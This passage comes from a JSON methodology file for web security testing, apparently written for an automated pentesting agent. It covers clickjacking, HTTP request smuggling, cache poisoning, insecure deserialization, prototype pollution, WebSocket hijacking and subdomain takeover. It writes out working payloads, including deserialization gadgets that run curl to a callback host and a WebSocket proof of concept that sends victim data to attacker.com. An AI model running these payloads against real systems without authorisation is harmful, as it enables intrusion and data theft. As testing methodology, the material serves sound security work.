"Check X-Frame-Options: missing or set to ALLOWALL enables clickjacking. Should be DENY or SAMEORIGIN.",
|
||
"Check Strict-Transport-Security: missing HSTS enables SSL stripping. Should be max-age=31536000; includeSubDomains; preload.",
|
||
"Check X-Content-Type-Options: missing nosniff enables MIME-type sniffing attacks.",
|
||
"Check Referrer-Policy: missing may leak sensitive URL parameters to third parties. Should be strict-origin-when-cross-origin or no-referrer.",
|
||
"Check Permissions-Policy (formerly Feature-Policy): controls access to browser features like camera, microphone, geolocation."
|
||
],
|
||
"expected_results": ["Missing headers identified", "Weak CSP policy found", "Clickjacking possible"],
|
||
"decision_tree": {
|
||
"no_csp": "MEDIUM - No Content Security Policy",
|
||
"weak_csp": "MEDIUM - CSP can be bypassed (unsafe-inline/eval)",
|
||
"no_xfo": "MEDIUM - Clickjacking possible (verify with iframe PoC)",
|
||
"no_hsts": "MEDIUM - SSL stripping possible",
|
||
"all_headers_present": "Headers properly configured"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["CSP bypass: unsafe-inline → XSS executes, data: → inject via data URI, *.cdn.com → find injection point on CDN"],
|
||
"verification_checklist": [
|
||
"Header genuinely missing from response (not just one endpoint)",
|
||
"Missing header leads to exploitable condition (e.g., clickjacking PoC)",
|
||
"CSP weakness actually allows payload execution",
|
||
"HSTS missing on a site that handles sensitive data"
|
||
],
|
||
"chain_attacks": ["Missing CSP → XSS exploitation easier", "Missing XFO → Clickjacking → CSRF bypass", "Missing HSTS → SSL stripping → Credential theft"],
|
||
"anti_false_positive": [
|
||
"Missing security header is informational if no exploitable impact",
|
||
"CSP report-only mode is a finding but lower severity",
|
||
"Some headers are only relevant for specific contexts (e.g., XFO for pages with sensitive actions)"
|
||
]
|
||
},
|
||
|
||
"clickjacking": {
|
||
"category": "client_side",
|
||
"title": "Clickjacking / UI Redressing",
|
||
"overview": "Application can be framed by attacker page. Attacker overlays transparent iframe of target over deceptive UI, tricking victim into clicking hidden buttons/links on the target application.",
|
||
"threat_model": "Attacker creates malicious page with target app in transparent iframe. Victim thinks they're clicking attacker's page but actually clicks buttons on the target app (delete account, change settings, transfer money).",
|
||
"discovery": [
|
||
"Check X-Frame-Options header (DENY or SAMEORIGIN blocks framing)",
|
||
"Check CSP frame-ancestors directive",
|
||
"Try embedding target page in iframe: <iframe src='target.com'>"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Clickjacking PoC",
|
||
"prompts": [
|
||
"Check response headers: is X-Frame-Options set to DENY or SAMEORIGIN? Is CSP frame-ancestors directive present? If neither, the page can be framed.",
|
||
"Create PoC HTML: <html><body><h1>Click this button to win!</h1><iframe src='https://target.com/sensitive-action' style='opacity:0;position:absolute;top:0;left:0;width:100%;height:100%;'></iframe><button style='position:relative;z-index:-1;'>Win Prize!</button></body></html>",
|
||
"Test if the target page loads in the iframe (some pages break out of frames with JavaScript - check for frame-busting scripts).",
|
||
"Identify high-impact actions that can be triggered via single click: delete account, change email, approve transaction, change password.",
|
||
"Test if frame-busting JavaScript can be bypassed: sandbox attribute on iframe (sandbox='allow-forms'), or if target uses conditional frame-busting that can be tricked."
|
||
],
|
||
"expected_results": ["Target page loads in iframe", "Sensitive action triggerable via click"],
|
||
"decision_tree": {
|
||
"frameable_with_sensitive_action": "MEDIUM-HIGH - Clickjacking with impact",
|
||
"frameable_no_sensitive_actions": "LOW - Clickjacking but limited impact",
|
||
"frame_blocked": "X-Frame-Options/CSP protecting against clickjacking"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"iframe sandbox attribute to disable frame-busting JS",
|
||
"Double framing: iframe within iframe",
|
||
"Mobile-specific: touch event hijacking",
|
||
"Drag-and-drop clickjacking for data extraction"
|
||
],
|
||
"verification_checklist": [
|
||
"Target page renders inside attacker's iframe",
|
||
"Sensitive action can be triggered by clicking through the overlay",
|
||
"PoC demonstrates end-to-end attack (not just framing)",
|
||
"Impact is meaningful (not just viewing static content)"
|
||
],
|
||
"chain_attacks": ["Clickjacking → Password/email change → Account takeover", "Clickjacking → CSRF-like actions without CSRF token"],
|
||
"anti_false_positive": [
|
||
"Page frameable but no sensitive actions = very low impact",
|
||
"Must demonstrate a specific action that can be triggered via clickjacking",
|
||
"Frame-busting scripts may prevent actual exploitation"
|
||
]
|
||
},
|
||
|
||
"ssl_tls_issues": {
|
||
"category": "infrastructure",
|
||
"title": "SSL/TLS Misconfiguration",
|
||
"overview": "Weak SSL/TLS configuration: outdated protocols (SSLv3, TLS 1.0/1.1), weak ciphers, missing certificate validation, expired certificates, mixed content.",
|
||
"threat_model": "Attacker performs man-in-the-middle attack exploiting weak encryption, protocol downgrade, or certificate issues to intercept sensitive communications.",
|
||
"discovery": [
|
||
"Test with testssl.sh or sslyze for protocol/cipher analysis",
|
||
"Check certificate validity, chain, and CN/SAN matching",
|
||
"Check for mixed content (HTTP resources on HTTPS page)",
|
||
"Test for protocol downgrade attacks"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "SSL/TLS Configuration Audit",
|
||
"prompts": [
|
||
"Check supported protocols: SSLv3 (POODLE), TLS 1.0 (BEAST), TLS 1.1 (deprecated). Only TLS 1.2+ should be supported.",
|
||
"Check cipher suites: look for NULL ciphers, export ciphers (FREAK), RC4 (known weaknesses), DES/3DES (SWEET32), CBC mode (BEAST/LUCKY13).",
|
||
"Check certificate: is it expired? Is the chain complete? Does CN/SAN match the domain? Is it self-signed?",
|
||
"Check for HSTS: Strict-Transport-Security header with adequate max-age.",
|
||
"Check for mixed content: HTTPS pages loading HTTP resources (scripts, stylesheets, images).",
|
||
"Test for CRIME/BREACH: is TLS compression enabled? Is HTTP compression used for pages with sensitive tokens?"
|
||
],
|
||
"expected_results": ["Weak protocols/ciphers found", "Certificate issues", "Mixed content"],
|
||
"decision_tree": {
|
||
"sslv3_or_tls10": "MEDIUM - Vulnerable to known attacks",
|
||
"weak_ciphers": "MEDIUM - Encryption can be broken",
|
||
"expired_cert": "HIGH - Users trained to ignore cert warnings",
|
||
"mixed_content": "LOW-MEDIUM - Partial encryption bypass"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Protocol downgrade attack", "Cipher suite downgrade", "POODLE on SSLv3", "BEAST on TLS 1.0 CBC ciphers"],
|
||
"verification_checklist": [
|
||
"Weak protocol/cipher actually negotiates (not just offered)",
|
||
"Certificate issue is real and impacts trust",
|
||
"Mixed content serves sensitive resources over HTTP",
|
||
"Tools confirm the finding (testssl.sh, sslyze, nmap ssl-enum-ciphers)"
|
||
],
|
||
"chain_attacks": ["Weak TLS → MITM → Credential theft", "Mixed content → Inject malicious script via HTTP"],
|
||
"anti_false_positive": [
|
||
"Cipher offered but not selected is lower risk",
|
||
"TLS 1.0 required for legacy client compatibility may be accepted risk",
|
||
"Certificate issues must be verified against current browser trust stores"
|
||
]
|
||
},
|
||
|
||
"directory_listing": {
|
||
"category": "infrastructure",
|
||
"title": "Directory Listing / Information Disclosure",
|
||
"overview": "Web server displays directory contents when index file is missing. Test for exposed directories containing sensitive files (backups, source code, configurations).",
|
||
"threat_model": "Attacker discovers directory listing and finds sensitive files: backups (.bak, .old, .zip), configuration files (.env, config.php), source code, debug files, database dumps.",
|
||
"discovery": [
|
||
"Browse to directories without index file: /uploads/, /backup/, /admin/, /temp/, /test/",
|
||
"Look for directory listing indicators: Apache 'Index of', Nginx autoindex",
|
||
"Check common backup locations: /.git/, /.svn/, /.env, /backup.zip"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Directory Enumeration",
|
||
"prompts": [
|
||
"Try accessing common directories: /uploads/, /images/, /backup/, /backups/, /temp/, /tmp/, /test/, /admin/, /config/, /logs/, /data/, /api/, /static/, /assets/.",
|
||
"Check for version control exposure: /.git/HEAD (Git), /.svn/entries (SVN), /.hg/ (Mercurial). If accessible, full source code can be extracted.",
|
||
"Check for configuration files: /.env, /config.php.bak, /web.config.old, /application.yml, /settings.py.bak.",
|
||
"Check for backup files: /backup.zip, /backup.tar.gz, /db_dump.sql, /site.zip, /{domain}.zip.",
|
||
"Check for debug/development files: /phpinfo.php, /info.php, /debug/, /elmah.axd, /trace.axd, /.DS_Store.",
|
||
"If directory listing found, enumerate all files for sensitive content."
|
||
],
|
||
"expected_results": ["Directory listing enabled", "Sensitive files discovered", "Source code exposed"],
|
||
"decision_tree": {
|
||
"source_code_exposed": "HIGH - Full source code via .git/.svn",
|
||
"config_backup_found": "HIGH - Credentials in configuration files",
|
||
"directory_listing_no_sensitive": "LOW - Information disclosure",
|
||
"no_listing": "Directory listing disabled"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Try with/without trailing slash", "Case variation: /Admin/, /ADMIN/", "URL encoding: /%61dmin/", "Semicolon path parameter: /;/admin/"],
|
||
"verification_checklist": [
|
||
"Directory contents actually listed in response",
|
||
"Sensitive files are downloadable and contain real data",
|
||
"Source code from .git is valid and current",
|
||
"Configuration files contain credentials or secrets"
|
||
],
|
||
"chain_attacks": ["Directory listing → Config file → Credentials → Auth bypass", ".git exposure → Source code → Find vulns → Exploit"],
|
||
"anti_false_positive": [
|
||
"Custom 404 page that looks like directory listing != actual listing",
|
||
"Must verify files are actually downloadable, not just listed",
|
||
".git/HEAD returning 200 but not actual Git objects = partial exposure"
|
||
]
|
||
},
|
||
|
||
"http_smuggling": {
|
||
"category": "infrastructure",
|
||
"title": "HTTP Request Smuggling",
|
||
"overview": "Exploit differences in how front-end (load balancer/reverse proxy) and back-end servers parse HTTP request boundaries (Content-Length vs Transfer-Encoding). Smuggle requests to bypass security controls, poison caches, or hijack sessions.",
|
||
"threat_model": "Attacker sends ambiguous HTTP requests that are interpreted differently by frontend and backend. The smuggled request can hijack other users' requests, bypass access controls, or poison web caches.",
|
||
"discovery": [
|
||
"Identify reverse proxy / load balancer setup",
|
||
"Test CL.TE: Content-Length on frontend, Transfer-Encoding on backend",
|
||
"Test TE.CL: Transfer-Encoding on frontend, Content-Length on backend",
|
||
"Use time-based detection for blind smuggling"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Smuggling Detection",
|
||
"prompts": [
|
||
"CL.TE detection: send POST with Content-Length: 6 and Transfer-Encoding: chunked, body: '0\\r\\n\\r\\nG'. If backend interprets TE, the 'G' is treated as start of next request. A follow-up normal request may get '405 Method Not Allowed' (GPOST).",
|
||
"TE.CL detection: send POST with Transfer-Encoding: chunked and Content-Length: 3, body: '8\\r\\nSMUGGLED\\r\\n0\\r\\n\\r\\n'. If backend uses CL, it reads only 3 bytes of chunk, leaving 'SMUGGLED' as next request.",
|
||
"Time-based detection: send a request designed to cause a timeout if smuggling works. If the follow-up request takes 10+ seconds, smuggling is confirmed.",
|
||
"Test TE.TE with header obfuscation: Transfer-Encoding: chunked\\r\\nTransfer-Encoding: x, Transfer-Encoding: chunked\\r\\n\\tmalformed, Transfer-Encoding: xchunked. Different servers handle obfuscated TE differently.",
|
||
"Use HTTP/2 desync: test H2.CL and H2.TE variants where HTTP/2 frontend translates to HTTP/1.1 backend."
|
||
],
|
||
"expected_results": ["Smuggled request processed by backend", "Time-based confirmation"],
|
||
"decision_tree": {
|
||
"cl_te_confirmed": "Proceed with CL.TE exploitation",
|
||
"te_cl_confirmed": "Proceed with TE.CL exploitation",
|
||
"te_te_confirmed": "Proceed with TE.TE exploitation",
|
||
"no_smuggling": "No desync between frontend and backend"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Smuggling Exploitation",
|
||
"prompts": [
|
||
"Bypass front-end access controls: smuggle a request to /admin that the frontend would normally block.",
|
||
"Capture other users' requests: smuggle a request that reflects the next user's request body (stored XSS via smuggling).",
|
||
"Cache poisoning via smuggling: smuggle a request that poisons the cache with malicious content for a popular URL.",
|
||
"Session hijacking: smuggle a request that captures the next user's session cookie.",
|
||
"Web socket smuggling: upgrade connection to WebSocket to tunnel arbitrary requests."
|
||
],
|
||
"expected_results": ["Access control bypass", "Request capture", "Cache poisoned"],
|
||
"decision_tree": {
|
||
"access_control_bypass": "HIGH - Frontend security bypassed",
|
||
"request_capture": "CRITICAL - Other users' data stolen",
|
||
"cache_poisoned": "CRITICAL - Mass user impact"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"TE header obfuscation: tab, space, xchunked, chunked1",
|
||
"HTTP/2 to HTTP/1.1 translation desync",
|
||
"Line ending variation: \\n vs \\r\\n",
|
||
"HTTP/0.9 response splitting on ancient backends",
|
||
"WebSocket upgrade smuggling"
|
||
],
|
||
"verification_checklist": [
|
||
"Smuggled request is processed as a separate request by backend",
|
||
"Time delay or response change confirms desync",
|
||
"Access control bypass demonstrates actual restricted resource access",
|
||
"Negative control: properly formatted request works normally"
|
||
],
|
||
"chain_attacks": ["HTTP smuggling → Bypass WAF/ACL", "HTTP smuggling → Cache poison → Mass XSS", "HTTP smuggling → Session hijacking"],
|
||
"anti_false_positive": [
|
||
"Connection errors or timeouts may be server instability, not smuggling",
|
||
"Must demonstrate desync between two specific components",
|
||
"Careful: smuggling tests can break other users' connections — test responsibly"
|
||
]
|
||
},
|
||
|
||
"cache_poisoning": {
|
||
"category": "infrastructure",
|
||
"title": "Web Cache Poisoning",
|
||
"overview": "Exploit caching behavior to store malicious responses in shared caches. Unkeyed inputs (headers, cookies) that influence response content can be used to poison the cache for all users.",
|
||
"threat_model": "Attacker identifies unkeyed inputs that affect response content. Sends request with malicious value in unkeyed input, response gets cached. All subsequent users receive the poisoned response.",
|
||
"discovery": [
|
||
"Identify caching infrastructure (CDN, reverse proxy, application cache)",
|
||
"Find unkeyed inputs that affect response: X-Forwarded-Host, X-Forwarded-Proto, X-Original-URL",
|
||
"Check cache headers: Age, X-Cache, Via, Cache-Control"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Cache Behavior Analysis & Poisoning",
|
||
"prompts": [
|
||
"Identify cache keys: which request components determine the cached response? (Usually URL path + query + Host header.) Other headers/cookies are typically unkeyed.",
|
||
"Test unkeyed headers: send request with X-Forwarded-Host: evil.com. If this value appears in response (meta tags, script sources, absolute URLs), and the response gets cached, cache poisoning is possible.",
|
||
"Test X-Forwarded-Proto: http (may cause mixed-content or redirect to HTTP URLs in cached response).",
|
||
"Test cache timing: send request with unique cache-buster (?cb=random), then send the poisoning request without cache-buster. Check if the poisoned response is returned to other requests.",
|
||
"Identify high-value cache targets: homepage, login page, popular pages with maximum cache reach.",
|
||
"Test parameter cloaking: /page?param=normal¶m=<script>alert(1)</script> where cache uses first param but app uses second."
|
||
],
|
||
"expected_results": ["Unkeyed input reflected in cached response", "Cache serves poisoned content to other users"],
|
||
"decision_tree": {
|
||
"xss_via_cache_poison": "CRITICAL - Stored XSS affecting all users via cache",
|
||
"redirect_via_cache": "HIGH - All users redirected to attacker domain",
|
||
"unkeyed_reflection_no_cache": "LOW - Reflection but not cached",
|
||
"no_unkeyed_inputs": "Cache poisoning not viable"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL headers",
|
||
"Parameter cloaking: duplicate parameters with different values",
|
||
"Path normalization differences: /page vs /PAGE vs /page/ vs /page;",
|
||
"Fat GET request: include body in GET request affecting response"
|
||
],
|
||
"verification_checklist": [
|
||
"Poisoned response served from cache (check Age, X-Cache: HIT headers)",
|
||
"Different user (different session/IP) receives the poisoned response",
|
||
"Malicious content actually executes or affects the page",
|
||
"Negative control: response before poisoning was clean"
|
||
],
|
||
"chain_attacks": ["Cache poisoning → Mass XSS", "Cache poisoning → Open redirect for all users"],
|
||
"anti_false_positive": [
|
||
"Unkeyed header reflected but NOT cached = just reflection, not poisoning",
|
||
"Must verify the CACHED response is poisoned (check X-Cache: HIT)",
|
||
"CDN may cache differently per region — test from the same PoP"
|
||
]
|
||
},
|
||
|
||
"sensitive_data_exposure": {
|
||
"category": "data_exposure",
|
||
"title": "Sensitive Data Exposure",
|
||
"overview": "Application exposes sensitive information: PII in API responses, credentials in source/configs, internal IPs, stack traces, debug information, or excessive API data.",
|
||
"threat_model": "Sensitive data is exposed through verbose error messages, over-permissive API responses, debug pages, or improper data masking, enabling further attacks or regulatory violations.",
|
||
"discovery": [
|
||
"Check API responses for excessive data (fields not needed by the client)",
|
||
"Trigger error pages and check for stack traces, file paths, SQL queries",
|
||
"Search JavaScript source for hardcoded credentials, API keys, internal URLs",
|
||
"Check for debug endpoints: /debug, /phpinfo.php, /trace, /actuator"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Data Exposure Assessment",
|
||
"prompts": [
|
||
"Check API responses: do user endpoints return password hashes, SSN, full credit card numbers, or internal IDs that should be masked?",
|
||
"Trigger error conditions: send malformed input, invalid IDs, SQL injection attempts. Check if error responses contain stack traces, file paths, database connection strings.",
|
||
"Search JavaScript files for: API keys (look for patterns like 'api_key', 'apiKey', 'secret', 'token', 'password', 'aws_access_key'), internal URLs (http://10.x, http://192.168.x), and debug flags.",
|
||
"Check for Spring Boot Actuator: /actuator/env (exposes environment variables), /actuator/heapdump (Java heap), /actuator/configprops.",
|
||
"Check for debug/test endpoints: /debug, /test, /console, /phpinfo.php, /server-status, /server-info.",
|
||
"Check response headers for server version disclosure: Server, X-Powered-By, X-AspNet-Version."
|
||
],
|
||
"expected_results": ["PII in API responses", "Credentials in JavaScript", "Debug endpoints exposed", "Stack traces in errors"],
|
||
"decision_tree": {
|
||
"credentials_exposed": "CRITICAL - Hardcoded credentials or API keys",
|
||
"pii_in_api": "HIGH - Sensitive user data over-exposed",
|
||
"debug_endpoints": "HIGH - Internal application details exposed",
|
||
"version_disclosure": "LOW - Server version information"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Force errors via invalid input", "Check all response headers", "Search all JS files systematically", "Test admin/debug URLs from common wordlists"],
|
||
"verification_checklist": [
|
||
"Sensitive data is actually sensitive (not test/default data)",
|
||
"Data is accessible without special authorization",
|
||
"Credentials/keys are valid and usable",
|
||
"PII exposure violates the application's data handling requirements"
|
||
],
|
||
"chain_attacks": ["API key exposure → Third-party service abuse", "Credential exposure → Admin access", "Stack trace → Technology identification → Targeted exploits"],
|
||
"anti_false_positive": [
|
||
"Version numbers alone are informational, not always a finding",
|
||
"Test/default credentials in demo environments may be expected",
|
||
"Verify exposed API keys are actually valid before reporting"
|
||
]
|
||
},
|
||
|
||
"insecure_deserialization": {
|
||
"category": "injection",
|
||
"title": "Insecure Deserialization",
|
||
"overview": "Application deserializes untrusted data (Java ObjectInputStream, Python pickle, PHP unserialize, .NET BinaryFormatter, Ruby Marshal, Node.js serialize). Can lead to RCE, DoS, or privilege escalation.",
|
||
"threat_model": "Attacker submits crafted serialized objects that when deserialized execute arbitrary code, modify application state, or trigger gadget chains for RCE.",
|
||
"discovery": [
|
||
"Look for serialized data in requests: Base64-encoded blobs, Java serialization magic bytes (aced0005), ViewState, JWT payloads",
|
||
"Check Content-Type: application/x-java-serialized-object",
|
||
"Look for .NET ViewState without MAC validation",
|
||
"Check for Python pickle in cookies or API payloads"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Deserialization Detection",
|
||
"prompts": [
|
||
"Check cookies, hidden form fields, and API parameters for serialized data: Base64 decode suspicious values. Java serialization starts with rO0AB (base64 of aced0005). PHP serialization looks like O:8:\"ClassName\":1:{...}.",
|
||
"Test Java: use ysoserial to generate payloads for known gadget chains: java -jar ysoserial.jar CommonsCollections1 'curl COLLABORATOR' | base64. Submit as the serialized parameter.",
|
||
"Test PHP: modify serialized object properties: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:5:\"admin\";} to escalate privileges.",
|
||
"Test Python pickle: create malicious pickle that executes os.system('curl COLLABORATOR'). Submit as the deserialized parameter.",
|
||
"Test .NET ViewState: if MAC validation is disabled (__VIEWSTATEGENERATOR but no __VIEWSTATEMAC), craft malicious ViewState using ysoserial.net.",
|
||
"Check for time-based detection: payload that causes sleep(5) via deserialization gadget chain."
|
||
],
|
||
"expected_results": ["OOB callback from deserialization gadget", "Privilege escalation via object manipulation", "RCE via gadget chain"],
|
||
"decision_tree": {
|
||
"rce_via_gadget": "CRITICAL - Remote code execution via deserialization",
|
||
"object_manipulation": "HIGH - Application state modified",
|
||
"dos_via_nested_objects": "MEDIUM - Denial of service",
|
||
"no_deserialization": "Data is not deserialized or safely handled"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Different ysoserial gadget chains for different library versions",
|
||
"Universal gadget chains for common libraries",
|
||
"Polyglot payloads that work across frameworks",
|
||
"Compress/encode payload to bypass size limits",
|
||
"Chain multiple gadgets for complex exploitation"
|
||
],
|
||
"verification_checklist": [
|
||
"OOB callback proves code execution during deserialization",
|
||
"Command output confirms RCE (not just error/crash)",
|
||
"Object manipulation persists (role change actually works)",
|
||
"Negative control: normal serialized object works correctly"
|
||
],
|
||
"chain_attacks": ["Deserialization → RCE → Full compromise", "Deserialization → Object injection → Privilege escalation"],
|
||
"anti_false_positive": [
|
||
"Application error on malformed serialized data != deserialization vuln",
|
||
"Must prove code execution or object manipulation, not just parsing error",
|
||
"Some frameworks safely reject untrusted serialized data"
|
||
]
|
||
},
|
||
|
||
"prototype_pollution": {
|
||
"category": "client_side",
|
||
"title": "Prototype Pollution",
|
||
"overview": "JavaScript applications where user input can modify Object.prototype, affecting all objects. Test for __proto__, constructor.prototype pollution via merge/clone operations in both client-side and server-side JavaScript.",
|
||
"threat_model": "Attacker pollutes JavaScript Object prototype to inject properties that affect application logic: bypass authentication checks, trigger XSS, modify configuration values, or achieve RCE in Node.js.",
|
||
"discovery": [
|
||
"Look for merge/extend/clone operations on user-controlled objects",
|
||
"Test JSON input with __proto__: {\"__proto__\":{\"isAdmin\":true}}",
|
||
"Test URL parameters: ?__proto__[isAdmin]=true",
|
||
"Check for lodash.merge, jQuery.extend, Object.assign with user input"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Prototype Pollution Detection",
|
||
"prompts": [
|
||
"Test client-side: submit JSON body {\"__proto__\":{\"polluted\":\"true\"}}. In browser console, check if ({}).polluted === 'true'. If yes, prototype is polluted.",
|
||
"Test server-side (Node.js): send {\"__proto__\":{\"status\":500}} or {\"constructor\":{\"prototype\":{\"polluted\":true}}}. Check if application behavior changes.",
|
||
"Test via query params: ?__proto__[polluted]=true or ?constructor.prototype.polluted=true.",
|
||
"Test for XSS via prototype pollution: pollute innerHTML, srcdoc, onload, onerror properties that template engines might use.",
|
||
"Test specific gadgets: {\"__proto__\":{\"shell\":\"node\",\"NODE_OPTIONS\":\"--require /proc/self/environ\"}} for Node.js RCE.",
|
||
"Check for prototype pollution to XSS via known gadgets in popular libraries (Pug, Handlebars, EJS, jQuery)."
|
||
],
|
||
"expected_results": ["Object.prototype polluted", "Application behavior changed", "XSS or RCE via gadget"],
|
||
"decision_tree": {
|
||
"rce_via_gadget": "CRITICAL - Remote code execution via prototype pollution",
|
||
"xss_via_gadget": "HIGH - XSS through polluted template property",
|
||
"logic_bypass": "MEDIUM - Application logic affected by polluted property",
|
||
"pollution_no_impact": "LOW - Prototype polluted but no exploitable gadget found"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"__proto__ vs constructor.prototype (different access paths)",
|
||
"Nested pollution: a.b.__proto__.c = value",
|
||
"URL parameter pollution: param[__proto__][key]=value",
|
||
"JSON vs query parameter vs form data encoding",
|
||
"Object.create(null) bypass via constructor property"
|
||
],
|
||
"verification_checklist": [
|
||
"({}).polluted === expected_value confirms prototype pollution",
|
||
"Application behavior observably changes after pollution",
|
||
"XSS or RCE gadget exploitable (not just pollution)",
|
||
"Negative control: without pollution, behavior is normal"
|
||
],
|
||
"chain_attacks": ["Prototype pollution → XSS via template engine", "Prototype pollution → RCE in Node.js", "Prototype pollution → Auth bypass via isAdmin property"],
|
||
"anti_false_positive": [
|
||
"Prototype pollution without exploitable gadget is low severity",
|
||
"Client-side pollution affecting only the attacker's session = limited impact",
|
||
"Must demonstrate actual application impact, not just pollution ability"
|
||
]
|
||
},
|
||
|
||
"websocket_hijacking": {
|
||
"category": "client_side",
|
||
"title": "WebSocket Hijacking / Cross-Site WebSocket Hijacking",
|
||
"overview": "WebSocket connections that don't verify Origin or lack CSRF protection. Attacker's page can establish WebSocket to target and read/write data using victim's session.",
|
||
"threat_model": "Attacker creates malicious page that opens WebSocket to target using victim's authenticated session. Can read real-time data streams and send commands as the victim.",
|
||
"discovery": [
|
||
"Identify WebSocket endpoints (ws:// or wss://)",
|
||
"Check if Origin header is validated during WebSocket handshake",
|
||
"Check if authentication token is required in handshake"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "WebSocket Security Analysis",
|
||
"prompts": [
|
||
"Send WebSocket upgrade request with Origin: https://evil.com. If connection is accepted, origin validation is missing.",
|
||
"Build PoC: create HTML page that opens WebSocket to target. If victim visits the page, check if the WebSocket can read victim's data: var ws = new WebSocket('wss://target.com/ws'); ws.onmessage = function(e) { fetch('http://attacker.com/steal?data=' + e.data); };",
|
||
"Test if WebSocket uses session cookie (auto-sent) or requires explicit token in handshake message.",
|
||
"Send malicious commands via the hijacked WebSocket: ws.send('{\"action\":\"transferMoney\",\"to\":\"attacker\",\"amount\":1000}').",
|
||
"Check for injection in WebSocket messages: SQL injection, command injection, or XSS via WebSocket data."
|
||
],
|
||
"expected_results": ["Cross-origin WebSocket accepted", "Victim's data readable via hijacked WS"],
|
||
"decision_tree": {
|
||
"cross_origin_accepted_with_cookies": "HIGH - Full WebSocket hijacking",
|
||
"cross_origin_accepted_no_auth": "MEDIUM - Unauthenticated WebSocket abuse",
|
||
"origin_validated": "WebSocket origin check working correctly"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Origin header spoofing (only from server-side, not browser)",
|
||
"Subdomain WebSocket hijacking if origin check uses regex",
|
||
"Flash/Java-based cross-origin WebSocket (legacy browsers)"
|
||
],
|
||
"verification_checklist": [
|
||
"WebSocket connection established from cross-origin page",
|
||
"Victim's authenticated data flows through the connection",
|
||
"PoC demonstrates reading sensitive data or sending commands",
|
||
"Negative control: proper origin check rejects cross-origin"
|
||
],
|
||
"chain_attacks": ["WebSocket hijacking → Real-time data theft", "WebSocket hijacking → Command injection via WS messages"],
|
||
"anti_false_positive": [
|
||
"Cross-origin WebSocket without authentication is expected for public WS endpoints",
|
||
"Must demonstrate access to AUTHENTICATED data or actions",
|
||
"Check if CSRF token is required in initial WS handshake"
|
||
]
|
||
},
|
||
|
||
"subdomain_takeover": {
|
||
"category": "infrastructure",
|
||
"title": "Subdomain Takeover",
|
||
"overview": "Dangling DNS records pointing to decommissioned services (S3, Heroku, GitHub Pages, Azure, etc.). Attacker claims the service and serves content on the subdomain.",
|
||
"threat_model": "Attacker registers the unclaimed service that a subdomain's CNAME/A record points to, gaining control of content served on the target's subdomain. Can be used for phishing, cookie theft, or defacement.",
|
||
"discovery": [
|
||
"Enumerate subdomains via DNS brute-force, certificate transparency logs",
|
||
"Check CNAME records for third-party services",
|
||
"Look for DNS records pointing to: S3, Heroku, GitHub Pages, Shopify, Tumblr, Azure, Fastly, Unbounce"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Subdomain Takeover Detection",
|
||
"prompts": [
|
||
"Enumerate subdomains using certificate transparency (crt.sh), DNS brute-force, or passive sources (SecurityTrails, Shodan).",
|
||
"For each subdomain, resolve DNS: check for CNAME records pointing to third-party services. If the CNAME target returns NXDOMAIN or service-specific 'not found' message, takeover may be possible.",
|
||
"Service-specific indicators: S3 'NoSuchBucket', Heroku 'no-such-app', GitHub Pages 404, Shopify 'Sorry, this shop is currently unavailable', Azure 'NXDOMAIN on *.azurewebsites.net'.",
|
||
"Verify takeover by claiming the service: create S3 bucket with matching name, create Heroku app, set up GitHub Pages, etc.",
|
||
"After claiming, serve proof content (test.html with unique identifier) and verify it's accessible via the target subdomain.",
|
||
"Check for higher-impact takeovers: subdomains used for OAuth callbacks, email (MX records), or API endpoints."
|
||
],
|
||
"expected_results": ["Dangling CNAME identified", "Service claimed by attacker", "Content served on target subdomain"],
|
||
"decision_tree": {
|
||
"takeover_confirmed": "HIGH - Attacker controls target subdomain content",
|
||
"dangling_dns_no_claim": "MEDIUM - Potential takeover (service may be unclaimed)",
|
||
"service_protected": "Some services prevent external claiming"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Race condition: claim service faster than legitimate owner reclaims",
|
||
"Different regions: S3 buckets are region-specific, try all regions",
|
||
"Service-specific naming rules to match the CNAME target"
|
||
],
|
||
"verification_checklist": [
|
||
"Content served on target subdomain is attacker-controlled",
|
||
"DNS resolution chain verified: subdomain → CNAME → attacker service",
|
||
"No legitimate service is using the endpoint (verify it's truly dangling)",
|
||
"Impact assessed: cookies, OAuth, email implications"
|
||
],
|
||
"chain_attacks": ["Subdomain takeover → Cookie theft (if parent domain cookies)", "Subdomain takeover → OAuth callback hijack → Token theft", "Subdomain takeover → Phishing on trusted domain"],
|
||
"anti_false_positive": [
|
||
"CNAME pointing to working service is NOT takeover",
|
||
"Must verify the CNAME target is actually unclaimed/claimable",
|
||
"Some services (Cloudflare, Fastly) require domain verification preventing takeover"
|
||
]
|
||
},
|
||
|
||
"cloud_metadata_exposure": {
|
||
"category": "cloud_supply",
|
||
"title": "Cloud Metadata Service Exposure",
|
||
